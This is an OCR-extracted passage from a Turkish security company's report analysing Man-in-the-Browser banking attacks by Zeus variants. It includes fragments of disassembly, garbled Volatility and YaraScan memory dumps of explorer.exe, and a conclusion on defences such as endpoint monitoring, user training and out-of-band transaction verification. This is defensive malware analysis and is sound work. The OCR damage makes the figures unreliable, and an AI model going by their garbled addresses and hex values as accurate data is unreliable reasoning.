POP EDX

NOP

ADD [EBX], AL
ADD [EAX], AL
ADD [EAX+EAX],
ADD [EAX], AL
DB Oxff

INC DWORD [EAX]
ADD [EAX+0x0],
ADD [EAX], AL
ADD [EAX+0x0],

Figure 15

Explorer.exe igindeki malicious IP lerin bulunmasi igin YaraScan plugini Volatility ile birlikte

kullanilmistir.  Bircok Zeus

varyanti

botnetlerini giincellemek i¢in PHP Scriptlerini

calistirmalarniyla bilinmektedir. Sonuclar Sekil 16 da verilmistir.

: Process
Elddcdesd 32
Eiddcdebd 64
Elddedecd | a8
Elddedadd . 31

S i

LF3
b

18
xlddcdets 2d
F :rl

= Prococs

31 Ze 37 30 2f 6% G G4 6

explorer

B8 Te 3 T2
34 8p 88 33
3 58 4c @4 BY

.exm Pid 1468

¢ 37 33 232 31
b4 64 65 TE & 7

A3 38 3T 32 04
&l Bl OF G0 6E

e Pid 1468
33 Ze 32 31

2 68 7B B0 A5
la 27 I 32

exe Pid 1468

30 38 Ze 37 313 Ze EX 31
63 ¥4 Ze 70 68 T

41 ¢
32

|

g 21 &
¥ 31 23

pxe Pid 463

dex.phpir=321466

PHL.EPL. . ....::

-213213 .RAK. PHP.

Figure 16

Bu analizde MITB saldirilarinin birgok tiriiniin oldugu goériilmektedir. Bunun yaninda kullanilan

saldirn metodu, explorer.exe processine inject olup sonrasinda yapilan malicious processlerin

saklanmasinin saglanmasidir.
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4. Sonug

MITB saldirllarinin engellenmesi icin acik/net bir metod bulunmamaktadir. Tarayicilar
Uzerinde degisikliklerin yapilmasini 6nleyen ve izleme mekanizmasini barindiran Endpoint
Yonetiminin kullaniimasi bu saldinlara karsi savunma olusturulmasini saglayabilir.

Kullanici egitimleri verilmesi ise bu saldirilarin 6nlenmesi icin kullanilacak diger
yontemlerdendir.

Egitim konulan givenli bildirim secenekleri, islemler icin glivenilir bankalarin tercih edilmesi,
hesap bakiyelerinin diizenli olarak kontrol edilmesi gibi basliklar kapsaminda olugturulabilir.
Tarayici uzantilan ve scriptleri 6nlemek ya da ayni sekilde SSL baglantilari Gzerinde scriptlerin
calistinlmasinin 6nlenmesi bu saldirilarin tiplerini sinirli hale getirebilir.

islem dogrulama da MITB saldirilarini etkisizlestirmek icin kullanilan popiiler metodlardan
biridir. Bu ayni zamanda Out of Band (OOB) islem dogrulama olarak da bilinmektedir. Bu
metod ek olarak islemlerin dogrulanmasi i¢cin SMS ya da bir telefon aramasini kullanir. Bu
metodu da manipule etmek icin saldirganlar VolP teknolojilerini kullanarak arayan IDleri,
mesaj uyarilarini vb. klonlayip kaydetmektedirler.

Ses biyometriklerini kullanan g faktorli dogrulamada diger bir metod olup, yapilaniglemlerin
dogrulanmasinda bankalar tarafindan kullanilmaktadir.

Bankalar bunlara ek olarak saldirilara karsi savunma mekanizmasi olusturma amaciyla
Behavioral Analizi de yapmaya baslamislardir. Hesaplar (izerindeki potansiyel dolandiricilik
faaliyetlerini belirlemek igin birgok kredi karti sirketi bu analizin glvenlik 6zelliklerini
kullanmaktadir.

MITB saldirilarn yakin zamanda yok olmayacak olup, aksine giderek artacak ve daha sofistike
hale gelecektir. Mobil bankaciliga gecisin artmasyila beraber bu tarafa yapilacak Man-in-the-
Mobile saldiri stilleri de artacaktir.

Zaman bizlere bu sofistike saldirilarin hedef olarak sadece bankalan degil glivendigimiz diger

baska siteleri de hedef alacagini gbsterecektir.
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[Man-in-the-Browser SALDIRILARININ ANALIzi]

BGA Bilgi Guivenligi A.S. Hakkinda

BGA Bilgi Guvenligi A.S. 2008 yilindan bu yana siber glvenlik alaninda faaliyet gostermektedir.
Ulkemizdeki bilgi glivenligi sektoriine profesyonel anlamda destek olmak amaciile kurulan BGA Bilgi
Gulvenligi, stratejik siber glivenlik danismanligi ve givenlik egitimleri konularinda kurumlara hizmet
vermektedir.

Uluslararasi gecerlilige sahip sertifikali 50 kisilik teknik ekibi ile, faaliyetlerini Ankara ve istanbul ve
USA’da slirdiiren BGA Bilgi Glvenligi'ninilgi alanlarini “Sizma Testleri, Glivenlik Denetimi, SOME, SOC
Danismanhgi, A¢ik Kaynak Siber Giivenlik Céziimleri, Biiyiik Veri Giivenlik Analizi ve Yeni Nesil
Glivenlik Céziimleri” olusturmaktadir.

Gergeklestirdigi basarili danismanlik projeleri ve egitimlerle sektorde saygin bir yer edinen BGA Bilgi
Gulvenligi, kuruldugu glinden bugiine alaninda lider finans, enerji, telekom ve kamu kuruluslanna
1.000'den fazlaegitim ve danismanlik projelerigerceklestirmistir.

BGA Bilgi Guvenligi, kuruldugu 2008 yilindan beri tGlkemizde bilgi glivenligi konusundaki bilgi ve
paylasimlarin artmasiamaciile glivenlike-posta listeleri olusturulmasi, seminerler, glivenlik etkinlikleri
diizenlenmesi, Universite 6grencilerine kariyer ve bilgi saglamak igin siber givenlik kamplan
dizenlenmesive sosyal sorumluluk projeleri gibi bircok konuda gonallii faaliyetlerde bulunmustur.

BGA Bilgi Giivenligi AKADEMISi Hakkinda

BGA Bilgi Glivenligi A.S.’nin egitim ve sosyal sorumluluk markasi olarak calisan Bilgi Glivenligi
AKADEMISI, siber giivenlik konusunda ticari, géniillii egitimlerin diizenlenmesi ve siber giivenlik
farkindaligini arttirici génilli faaliyetleri yiritilmesinden sorumludur. Bilgi Giivenligi AKADEMISI
markasiyla bugline kadar “Siber Glvenlik Kamplari”, “Siber Glvenlik Staj Okulu”, “Siber Guvenlik Ar-
Ge Destek Bursu”, “Ethical Hacking yarismalarl” ve “Siber Glivenlik Kiitliphanesi” gibibircok gondlli
faaliyetin destekleyici olmustur.
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